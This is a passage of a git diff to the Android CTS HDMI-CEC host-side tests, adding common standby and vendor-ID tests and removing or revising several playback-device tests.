+                        LogicalAddress.AUDIO_SYSTEM,
+                        LogicalAddress.BROADCAST);
+        for (LogicalAddress testDevice : testDevices) {
+            if (testDevice == mDutLogicalAddress) {
+                /* Skip the DUT logical address */
+                continue;
+            }
+            hdmiCecClient.sendCecMessage(testDevice, CecOperand.GIVE_PHYSICAL_ADDRESS);
+            String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
+            /* Check that the physical address taken is valid. */
+            CecMessage.assertPhysicalAddressValid(message, getDumpsysPhysicalAddress());
+            int receivedParams = CecMessage.getParams(message);
+            assertThat(receivedParams & 0xFF).isEqualTo(mDutLogicalAddress.getDeviceType());
+        }
     }
 
     /**
@@ -87,9 +100,10 @@
      */
     @Test
     public void cect_11_2_6_6_GiveCecVersion() throws Exception {
-        hdmiCecClient.sendCecMessage(LogicalAddress.RECORDER_1, CecOperand.GET_CEC_VERSION);
-        String message = hdmiCecClient.checkExpectedOutput(LogicalAddress.RECORDER_1,
-                CecOperand.CEC_VERSION);
+        hdmiCecClient.sendCecMessage(hdmiCecClient.getSelfDevice(), CecOperand.GET_CEC_VERSION);
+        String message =
+                hdmiCecClient.checkExpectedOutput(
+                        hdmiCecClient.getSelfDevice(), CecOperand.CEC_VERSION);
         assertThat(CecMessage.getParams(message)).isEqualTo(CEC_VERSION_NUMBER);
     }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java
new file mode 100644
index 0000000..33d514e
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java
@@ -0,0 +1,153 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * HDMI CEC test to verify the device handles standby correctly (Section 11.1.3, 11.2.3)
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecSystemStandbyTest extends BaseHdmiCecCtsTest {
+
+    private static final String HDMI_CONTROL_DEVICE_AUTO_OFF =
+            "hdmi_control_auto_device_off_enabled";
+
+    public List<LogicalAddress> mLogicalAddresses = new ArrayList<>();
+    public boolean wasOn;
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain
+                    .outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(hdmiCecClient);
+
+    @Before
+    public void initialTestSetup() throws Exception {
+        defineLogicalAddressList();
+        wasOn = setHdmiControlDeviceAutoOff(false);
+    }
+
+    @After
+    public void resetDutState() throws Exception {
+        /* Wake up the device */
+        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        setHdmiControlDeviceAutoOff(wasOn);
+    }
+
+    /**
+     * Test 11.1.3-2, 11.2.3-2<br>
+     * Tests that the device goes into standby when a {@code <STANDBY>} message is broadcast.
+     */
+    @Test
+    public void cect_HandleBroadcastStandby() throws Exception {
+        getDevice().reboot();
+        TimeUnit.SECONDS.sleep(5);
+        for (LogicalAddress source : mLogicalAddresses) {
+            if (!source.equals(mDutLogicalAddress)) {
+                checkDeviceAsleepAfterStandbySent(source, LogicalAddress.BROADCAST);
+            }
+        }
+    }
+
+    /**
+     * Test 11.1.3-3, 11.2.3-3<br>
+     * Tests that the device goes into standby when a {@code <STANDBY>} message is sent to it.
+     */
+    @Test
+    public void cect_HandleAddressedStandby() throws Exception {
+        getDevice().reboot();
+        for (LogicalAddress source : mLogicalAddresses) {
+            if (!source.equals(mDutLogicalAddress)) {
+                checkDeviceAsleepAfterStandbySent(source, mDutLogicalAddress);
+            }
+        }
+    }
+
+    /**
+     * Test 11.2.3-4<br>
+     * Tests that the device does not broadcast a {@code <STANDBY>} when going into standby mode.
+     */
+    @Test
+    public void cect_11_2_3_4_NoBroadcastStandby() throws Exception {
+        /*
+         * CEC CTS does not specify for TV a no broadcast on standby test. On Android TVs, there is
+         * a feature to turn off this standby broadcast and this test tests the same.
+         */
+        ITestDevice device = getDevice();
+        device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+        hdmiCecClient.checkOutputDoesNotContainMessage(LogicalAddress.BROADCAST,
+                CecOperand.STANDBY);
+    }
+
+    private void defineLogicalAddressList() throws Exception {
+        /* TODO: b/174279917 Add LogicalAddress.BROADCAST to this list as well. */
+        mLogicalAddresses.add(LogicalAddress.TV);
+        mLogicalAddresses.add(LogicalAddress.RECORDER_1);
+        mLogicalAddresses.add(LogicalAddress.TUNER_1);
+        mLogicalAddresses.add(LogicalAddress.PLAYBACK_1);
+        mLogicalAddresses.add(LogicalAddress.AUDIO_SYSTEM);
+
+        if (mDutLogicalAddress.getDeviceType() == HdmiCecConstants.CEC_DEVICE_TYPE_TV) {
+            //Add logical addresses 13, 14 only for TV panel tests.
+            mLogicalAddresses.add(LogicalAddress.RESERVED_2);
+            mLogicalAddresses.add(LogicalAddress.SPECIFIC_USE);
+        }
+    }
+
+    private boolean setHdmiControlDeviceAutoOff(boolean turnOn) throws Exception {
+        ITestDevice device = getDevice();
+        String val = device.executeShellCommand("settings get global " +
+                HDMI_CONTROL_DEVICE_AUTO_OFF).trim();
+        String valToSet = turnOn ? "1" : "0";
+        device.executeShellCommand("settings put global "
+                + HDMI_CONTROL_DEVICE_AUTO_OFF + " " + valToSet);
+        device.executeShellCommand("settings get global " + HDMI_CONTROL_DEVICE_AUTO_OFF);
+        return val.equals("1");
+    }
+
+    private void checkDeviceAsleepAfterStandbySent(LogicalAddress source,
+            LogicalAddress destination) throws Exception {
+        ITestDevice device = getDevice();
+        hdmiCecClient.sendCecMessage(source, destination, CecOperand.STANDBY);
+        TimeUnit.SECONDS.sleep(5);
+        String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
+        assertThat(wakeState.trim()).isEqualTo("mWakefulness=Asleep");
+        device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        TimeUnit.SECONDS.sleep(5);
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java
new file mode 100644
index 0000000..e3d1d82
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeTrue;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+/** HDMI CEC test to verify device vendor specific commands (Section 11.2.9) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecVendorCommandsTest extends BaseHdmiCecCtsTest {
+
+    private static final int INCORRECT_VENDOR_ID = 0x0;
+
+    @Rule
+    public RuleChain ruleChain =
+        RuleChain
+            .outerRule(CecRules.requiresCec(this))
+            .around(CecRules.requiresLeanback(this))
+            .around(hdmiCecClient);
+
+    /**
+     * Test 11.2.9-1
+     * <p>Tests that the device responds to a {@code <GIVE_DEVICE_VENDOR_ID>} from various source
+     * devices with a {@code <DEVICE_VENDOR_ID>}.
+     */
+    @Test
+    public void cect_11_2_9_1_GiveDeviceVendorId() throws Exception {
+        for (LogicalAddress logicalAddress : LogicalAddress.values()) {
+            // Skip the logical address of this device
+            if (logicalAddress == mDutLogicalAddress) {
+                continue;
+            }
+            hdmiCecClient.sendCecMessage(logicalAddress, CecOperand.GIVE_DEVICE_VENDOR_ID);
+            String message = hdmiCecClient.checkExpectedOutput(CecOperand.DEVICE_VENDOR_ID);
+            assertThat(CecMessage.getParams(message)).isNotEqualTo(INCORRECT_VENDOR_ID);
+        }
+    }
+
+    /**
+     * Test 11.2.9-2
+     * <p>Tests that the device broadcasts a {@code <DEVICE_VENDOR_ID>} message after successful
+     * initialisation and address allocation.
+     */
+    @Test
+    public void cect_11_2_9_2_DeviceVendorIdOnInit() throws Exception {
+        ITestDevice device = getDevice();
+        device.reboot();
+        String message = hdmiCecClient.checkExpectedOutput(CecOperand.DEVICE_VENDOR_ID);
+        assertThat(CecMessage.getParams(message)).isNotEqualTo(INCORRECT_VENDOR_ID);
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecLogicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecLogicalAddressTest.java
deleted file mode 100644
index 40b2d37..0000000
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecLogicalAddressTest.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hdmicec.cts.playback;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.hdmicec.cts.BaseHdmiCecCtsTest;
-import android.hdmicec.cts.CecMessage;
-import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
-import android.hdmicec.cts.HdmiCecConstants;
-import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Rule;
-import org.junit.rules.RuleChain;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-/** HDMI CEC test to verify physical address after device reboot (Section 10.2.3) */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecLogicalAddressTest extends BaseHdmiCecCtsTest {
-
-    private static final LogicalAddress PLAYBACK_DEVICE = LogicalAddress.PLAYBACK_1;
-
-    public HdmiCecLogicalAddressTest() {
-        super(PLAYBACK_DEVICE);
-    }
-
-    @Rule
-    public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, PLAYBACK_DEVICE))
-            .around(hdmiCecClient);
-
-    /**
-     * Test 10.2.3-1
-     * Tests that the device broadcasts a <REPORT_PHYSICAL_ADDRESS> after a reboot and that the
-     * device has taken the logical address "4".
-     */
-    @Test
-    public void cect_10_2_3_1_RebootLogicalAddress() throws Exception {
-        ITestDevice device = getDevice();
-        device.executeShellCommand("reboot");
-        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-        String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
-        assertThat(CecMessage.getSource(message)).isEqualTo(PLAYBACK_DEVICE);
-    }
-}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java
index a47a81d..b91b90ac 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java
@@ -38,22 +38,6 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecOneTouchPlayTest extends BaseHdmiCecCtsTest {
 
-    private static final int PHYSICAL_ADDRESS = 0x1000;
-    /**
-     * The package name of the APK.
-     */
-    private static final String HDMI_CEC_HELPER_PACKAGE = "android.hdmicec.app";
-    /**
-     * The class name of the main activity in the APK.
-     */
-    private static final String HDMI_CONTROL_HELPER_CLASS = "HdmiControlManagerHelper";
-    /**
-     * Intent to trigger an OTP.
-     */
-    private static final String OTP_ACTION = String.format(
-        "android.hdmicec.app.OTP -n %s/%s.%s", HDMI_CEC_HELPER_PACKAGE, HDMI_CEC_HELPER_PACKAGE,
-        HDMI_CONTROL_HELPER_CLASS);
-
     /** Intent to launch the remote pairing activity */
     private static final String ACTION_CONNECT_INPUT_NORMAL =
             "com.google.android.intent.action.CONNECT_INPUT";
@@ -82,10 +66,9 @@
 
     /**
      * Test 11.2.1-1
-     * Tests that the device sends a <TEXT_VIEW_ON> when the home key is pressed on device, followed
-     * by a <ACTIVE_SOURCE> message.
+     * Tests that the device sends a {@code <Text View On>} when the "One Touch Play" function is
+     * invoked on the device, followed by a {@code <Active Source>} message.
      */
-    @Ignore("b/169755426")
     @Test
     public void cect_11_2_1_1_OneTouchPlay() throws Exception {
         ITestDevice device = getDevice();
@@ -97,8 +80,8 @@
     }
 
     /**
-     * Tests that the device sends a <TEXT_VIEW_ON> when the pairing activity is started on
-     * device, followed by a <ACTIVE_SOURCE> message.
+     * Tests that the device sends a {@code <Text View On>} when the pairing activity is started on
+     * device, followed by a {@code <Active Source>} message.
      */
     @Test
     public void cect_PairingActivity_OneTouchPlay() throws Exception {
@@ -112,11 +95,6 @@
     }
 
     private void sendOtp(ITestDevice device) throws Exception {
-        // Clear activity
-        device.executeShellCommand(FORCE_STOP_COMMAND + HDMI_CEC_HELPER_PACKAGE);
-        // Clear logcat.
-        device.executeAdbCommand("logcat", "-c");
-        // Start the APK and wait for it to complete.
-        device.executeShellCommand(START_COMMAND + OTP_ACTION);
+        device.executeShellCommand("cmd hdmi_control onetouchplay");
     }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPhysicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPhysicalAddressTest.java
deleted file mode 100644
index 28d8d9510..0000000
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPhysicalAddressTest.java
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hdmicec.cts.playback;
-
-import android.hdmicec.cts.BaseHdmiCecCtsTest;
-import android.hdmicec.cts.CecMessage;
-import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
-import android.hdmicec.cts.HdmiCecConstants;
-import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Rule;
-import org.junit.rules.RuleChain;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-/** HDMI CEC test to verify physical address after device reboot (Section 10.1.2) */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecPhysicalAddressTest extends BaseHdmiCecCtsTest {
-
-    public HdmiCecPhysicalAddressTest() {
-        super(LogicalAddress.PLAYBACK_1);
-    }
-
-    @Rule
-    public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
-            .around(hdmiCecClient);
-    /**
-     * Test 10.1.2-1
-     * Tests that the device broadcasts a <REPORT_PHYSICAL_ADDRESS> after a reboot and that the
-     * device has taken the physical address 1.0.0.0.
-     */
-    @Test
-    public void cect_10_1_2_1_RebootPhysicalAddress() throws Exception {
-        ITestDevice device = getDevice();
-        device.executeShellCommand("reboot");
-        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-        String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
-        CecMessage.assertPhysicalAddressValid(message, dutPhysicalAddress);
-    }
-}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java
deleted file mode 100644
index 4484ee8..0000000
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hdmicec.cts.playback;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.hdmicec.cts.BaseHdmiCecCtsTest;
-import android.hdmicec.cts.CecMessage;
-import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
-import android.hdmicec.cts.HdmiCecConstants;
-import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Rule;
-import org.junit.rules.RuleChain;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-import java.util.concurrent.TimeUnit;
-
-/** HDMI CEC test to check if the device reports power status correctly (Section 11.2.14) */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecPowerStatusTest extends BaseHdmiCecCtsTest {
-
-    private static final int ON = 0x0;
-    private static final int OFF = 0x1;
-    private static final int IN_TRANSITION_TO_STANDBY = 0x3;
-
-    private static final int SLEEP_TIMESTEP_SECONDS = 1;
-    private static final int WAIT_TIME = 5;
-    private static final int MAX_SLEEP_TIME = 8;
-
-    public HdmiCecPowerStatusTest() {
-        super(LogicalAddress.PLAYBACK_1);
-    }
-
-    @Rule
-    public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
-            .around(hdmiCecClient);
-
-    /**
-     * Test 11.2.14-1
-     * Tests that the device broadcasts a <REPORT_POWER_STATUS> with params 0x0 when the device is
-     * powered on.
-     */
-    @Test
-    public void cect_11_2_14_1_PowerStatusWhenOn() throws Exception {
-        ITestDevice device = getDevice();
-        /* Make sure the device is not booting up/in standby */
-        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-        hdmiCecClient.sendCecMessage(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
-        String message = hdmiCecClient.checkExpectedOutput(LogicalAddress.TV,
-            CecOperand.REPORT_POWER_STATUS);
-        assertThat(CecMessage.getParams(message)).isEqualTo(ON);
-    }
-
-    /**
-     * Test 11.2.14-2
-     * Tests that the device broadcasts a <REPORT_POWER_STATUS> with params 0x1 when the device is
-     * powered off.
-     */
-    @Test
-    public void cect_11_2_14_2_PowerStatusWhenOff() throws Exception {
-        ITestDevice device = getDevice();
-        try {
-            /* Make sure the device is not booting up/in standby */
-            device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-            /* Home Key to prevent device from going to deep suspend state */
-            device.executeShellCommand("input keyevent KEYCODE_HOME");
-            device.executeShellCommand("input keyevent KEYCODE_SLEEP");
-            TimeUnit.SECONDS.sleep(WAIT_TIME);
-            int waitTimeSeconds = WAIT_TIME;
-            int powerStatus;
-            do {
-                TimeUnit.SECONDS.sleep(SLEEP_TIMESTEP_SECONDS);
-                waitTimeSeconds += SLEEP_TIMESTEP_SECONDS;
-                hdmiCecClient.sendCecMessage(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
-                powerStatus = CecMessage.getParams(hdmiCecClient.checkExpectedOutput(
-                        LogicalAddress.TV, CecOperand.REPORT_POWER_STATUS));
-            } while (powerStatus == IN_TRANSITION_TO_STANDBY && waitTimeSeconds <= MAX_SLEEP_TIME);
-            assertThat(powerStatus).isEqualTo(OFF);
-        } finally {
-            /* Wake up the device */
-            device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        }
-    }
-}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
index bbba1c4..54b9be2 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
@@ -99,14 +99,18 @@
     /**
      * Test 11.2.2-4
      * Tests that the device sends a <INACTIVE_SOURCE> message when put on standby.
-     * This test depends on One Touch Play, and will pass only if One Touch Play passes.
      */
     @Test
     public void cect_11_2_2_4_InactiveSourceOnStandby() throws Exception {
         ITestDevice device = getDevice();
         try {
             int dumpsysPhysicalAddress = getDumpsysPhysicalAddress();
-            device.executeShellCommand("input keyevent KEYCODE_HOME");
+            hdmiCecClient.sendCecMessage(
+                    LogicalAddress.TV,
+                    LogicalAddress.BROADCAST,
+                    CecOperand.SET_STREAM_PATH,
+                    CecMessage.formatParams(dumpsysPhysicalAddress));
+            TimeUnit.SECONDS.sleep(5);
             device.executeShellCommand("input keyevent KEYCODE_SLEEP");
             String message = hdmiCecClient.checkExpectedOutput(LogicalAddress.TV,
                     CecOperand.INACTIVE_SOURCE);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStartupTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStartupTest.java
index 3e7f35a..69bc346 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStartupTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStartupTest.java
@@ -45,6 +45,7 @@
 /**
  * HDMI CEC test to verify physical address after device reboot (Section 10.2.3)
  */
+@Ignore("b/149519706")
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecStartupTest extends BaseHdmiCecCtsTest {
 
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
deleted file mode 100644
index 6945249..0000000
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
+++ /dev/null
@@ -1,115 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hdmicec.cts.playback;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.hdmicec.cts.BaseHdmiCecCtsTest;
-import android.hdmicec.cts.CecMessage;
-import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
-import android.hdmicec.cts.HdmiCecConstants;
-import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Rule;
-import org.junit.rules.RuleChain;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-/** HDMI CEC test to verify system audio control commands (Section 11.2.15) */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecSystemAudioControlTest extends BaseHdmiCecCtsTest {
-
-    private static final LogicalAddress PLAYBACK_DEVICE = LogicalAddress.PLAYBACK_1;
-
-    public HdmiCecSystemAudioControlTest() {
-        super(LogicalAddress.PLAYBACK_1, "-t", "a");
-    }
-
-    @Rule
-    public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
-            .around(hdmiCecClient);
-
-    /**
-     * Test 11.2.15-10
-     * Tests that the device sends a <GIVE_SYSTEM_AUDIO_STATUS> message when brought out of standby
-     */
-    @Test
-    public void cect_11_2_15_10_GiveSystemAudioModeStatus() throws Exception {
-        ITestDevice device = getDevice();
-        /* Home Key to prevent device from going to deep suspend state */
-        device.executeShellCommand("input keyevent KEYCODE_HOME");
-        device.executeShellCommand("input keyevent KEYCODE_SLEEP");
-        device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        hdmiCecClient.checkExpectedOutput(LogicalAddress.AUDIO_SYSTEM,
-                CecOperand.GIVE_SYSTEM_AUDIO_MODE_STATUS);
-    }
-
-    /**
-     * Test 11.2.15-11
-     * Tests that the device sends <USER_CONTROL_PRESSED> and <USER_CONTROL_RELEASED> messages when
-     * the volume up and down keys are pressed on the DUT. Test also verifies that the
-     * <USER_CONTROL_PRESSED> message has the right control param.
-     */
-    @Test
-    public void cect_11_2_15_11_VolumeUpDownUserControlPressed() throws Exception {
-        ITestDevice device = getDevice();
-        hdmiCecClient.sendCecMessage(LogicalAddress.AUDIO_SYSTEM, LogicalAddress.BROADCAST,
-                CecOperand.SET_SYSTEM_AUDIO_MODE, CecMessage.formatParams(1));
-        device.executeShellCommand("input keyevent KEYCODE_VOLUME_UP");
-        String message = hdmiCecClient.checkExpectedOutput(LogicalAddress.AUDIO_SYSTEM,
-                CecOperand.USER_CONTROL_PRESSED);
-        assertThat(CecMessage.getParams(message))
-                .isEqualTo(HdmiCecConstants.CEC_CONTROL_VOLUME_UP);
-        hdmiCecClient.checkExpectedOutput(LogicalAddress.AUDIO_SYSTEM, CecOperand.USER_CONTROL_RELEASED);
-
-
-        device.executeShellCommand("input keyevent KEYCODE_VOLUME_DOWN");
-        message = hdmiCecClient.checkExpectedOutput(LogicalAddress.AUDIO_SYSTEM,
-                CecOperand.USER_CONTROL_PRESSED);
-        assertThat(CecMessage.getParams(message))
-                .isEqualTo(HdmiCecConstants.CEC_CONTROL_VOLUME_DOWN);
-        hdmiCecClient.checkExpectedOutput(LogicalAddress.AUDIO_SYSTEM, CecOperand.USER_CONTROL_RELEASED);
-    }
-
-    /**
-     * Test 11.2.15-12
-     * Tests that the device sends <USER_CONTROL_PRESSED> and <USER_CONTROL_RELEASED> messages when
-     * the mute key is pressed on the DUT. Test also verifies that the <USER_CONTROL_PRESSED>
-     * message has the right control param.
-     */
-    @Test
-    public void cect_11_2_15_12_MuteUserControlPressed() throws Exception {
-        ITestDevice device = getDevice();
-        hdmiCecClient.sendCecMessage(LogicalAddress.AUDIO_SYSTEM, LogicalAddress.BROADCAST,
-                CecOperand.SET_SYSTEM_AUDIO_MODE, CecMessage.formatParams(1));
-        device.executeShellCommand("input keyevent KEYCODE_VOLUME_MUTE");
-        String message = hdmiCecClient.checkExpectedOutput(LogicalAddress.AUDIO_SYSTEM,
-                CecOperand.USER_CONTROL_PRESSED);
